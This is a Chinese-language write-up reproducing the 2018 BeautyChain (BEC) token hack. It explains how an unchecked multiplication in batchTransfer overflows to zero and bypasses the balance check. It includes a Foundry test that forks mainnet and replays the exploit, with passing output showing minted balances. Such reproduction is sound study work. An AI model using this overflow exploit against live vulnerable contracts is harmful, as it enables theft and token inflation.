美链 BeautyChain 合约攻击复现
按照 https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2018-04/BEC_exp.sol
的注释 找到 BeautyChain (BEC) 的合约地址和该笔攻击交易
Transaction Hash: 0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f
From
0x09a34E01...1ED5fe93c
To
0xb4D30Cac...f42119033
For57,896,044,618,658,097,711,785,492,504,343,953,926,634,992,332,820,282,019,728.792003956564819968
BeautyChain (BEC)
From
0x09a34E01...1ED5fe93c
To
0x0e823fFE...72F76C3d7
For57,896,044,618,658,097,711,785,492,504,343,953,926,634,992,332,820,282,019,728.792003956564819968
BeautyChain (BEC)
Input Data:
Function: batchTransfer(address[] _receivers, uint256 _value)
MethodID: 0x83f12fec
[0]: 0000000000000000000000000000000000000000000000000000000000000040
[1]: 8000000000000000000000000000000000000000000000000000000000000000
[2]: 0000000000000000000000000000000000000000000000000000000000000002
[3]: 000000000000000000000000b4d30cac5124b46c2df0cf3e3e1be05f42119033
[4]: 0000000000000000000000000e823ffe018727585eaf5bc769fa80472f76c3d7
漏洞出现在 BecToken 合约的第 261 行,batchTransfer 批量转账函数
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint cnt = _receivers.length;// 传入收款账户地址的数组的长度
uint256 amount = uint256(cnt) * _value;// 数组长度强制转为 unit256 类型,与传入的转账数量相乘,赋值给转账总额 amount 变量
require(cnt > 0 && cnt <= 20);// 收款账户数组长度大于 0 小于等于 20
require(_value > 0 && balances[msg.sender] >= amount);// 检查传入的转账数量大于 0 ,并且消息发送者账户余额大于转账总额
传入的数组长度可控,传入的转账数量 value 也可控。如果 value 非常大,则转账总额 amount 就会上溢出,变成非常小的值。于是 balances[msg.sender] >= amount 条件就可以绕过
batchTransfer 的参数 _value 值为16进制的 800000000000000000000...,参数 _receivers 数组的大小为2,相乘之后刚好可超过 uint256 所能表示的整数大小上限,引发溢出问题 amount 实际的值为 0,后面的转账操作实际上 msg.sender 的余额减 0, 而对两个账号进行了加 16 进制的 800000000000000000000...,最终的结果是相当于增发了 2 * 16 进制的 800000000000000000000...
- EXP
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
//将 BeautyChain (BEC) 定义为接口,并定义两个函数
interface BECToken {
function balanceOf(address account) external view returns (uint256);
function batchTransfer(address[] calldata _receivers, uint256 _value) external returns (bool);
}
// https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f
// https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code Line261
//攻击合约
contract ContractTest is Test {
//定义常量
address attacker1 = 0xb4D30Cac5124b46C2Df0CF3e3e1Be05f42119033;// 实际攻击者地址
address attacker2 = 0x0e823fFE018727585EaF5Bc769Fa80472F76C3d7;// 实际攻击者地址
BECToken bec = BECToken(0xC5d105E63711398aF9bbff092d4B6769C82F793D);// 给接口传入 BEC 合约地址,则 bec 实例就可以调用接口的函数
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);// 按照 foundry 说明文档,通过使用作弊码地址(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)来提供作弊码
function setUp() public {
cheats.createSelectFork("mainnet", 5_483_642);// 分叉攻击发生的区块
}
function testExploit() public {
emit log_named_decimal_uint("Before Exploit, Attacker1 BEC Balance", bec.balanceOf(attacker1), 18);
emit log_named_decimal_uint("Before Exploit, Attacker2 BEC Balance", bec.balanceOf(attacker2), 18);
address[] memory receivers = new address[](2);// 地址数组,固定长度为 2
receivers[0] = attacker1;// 数组第一个元素 0xb4D3 地址
receivers[1] = attacker2;// 数组第二个元素 0x0e82 地址
bec.batchTransfer(receivers, type(uint256).max / 2 + 1);// 调用 bec 实例的批量转账函数,传入收款账户地址数组 和 转账数量,取 unit256 最大值的 1/2 加1。因为传入数组长度 2,传入的 _value 乘以 2 之后,就变成了 unit256 最大值加 2。实际等于 1
emit log_named_decimal_uint("After Exploit, Attacker1 BEC Balance", bec.balanceOf(attacker1), 18);
emit log_named_decimal_uint("After Exploit, Attacker2 BEC Balance", bec.balanceOf(attacker2), 18);
}
}
使用 forge 命令测试结果
$ forge test BEC_Exp.t.sol -vvv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠢] Compiling...
No files changed, compilation skipped
Ran 1 test for test/BEC_Exp.t.sol:ContractTest
[PASS] testExploit() (gas: 84028)
Logs:
Before Exploit, Attacker1 BEC Balance: 0.000000000000000000
Before Exploit, Attacker2 BEC Balance: 0.000000000000000000
After Exploit, Attacker1 BEC Balance: 57896044618658097711785492504343953926634992332820282019728.792003956564819968
After Exploit, Attacker2 BEC Balance: 57896044618658097711785492504343953926634992332820282019728.792003956564819968
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.09s (3.18ms CPU time)
Ran 1 test suite in 1.12s (1.09s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
- 主要参考文章
https://blog.csdn.net/Fly_hps/article/details/80732159
https://learnblockchain.cn/2018/04/25/bec-overflow/
https://learnblockchain.cn/docs/foundry/i18n/zh/cheatcodes/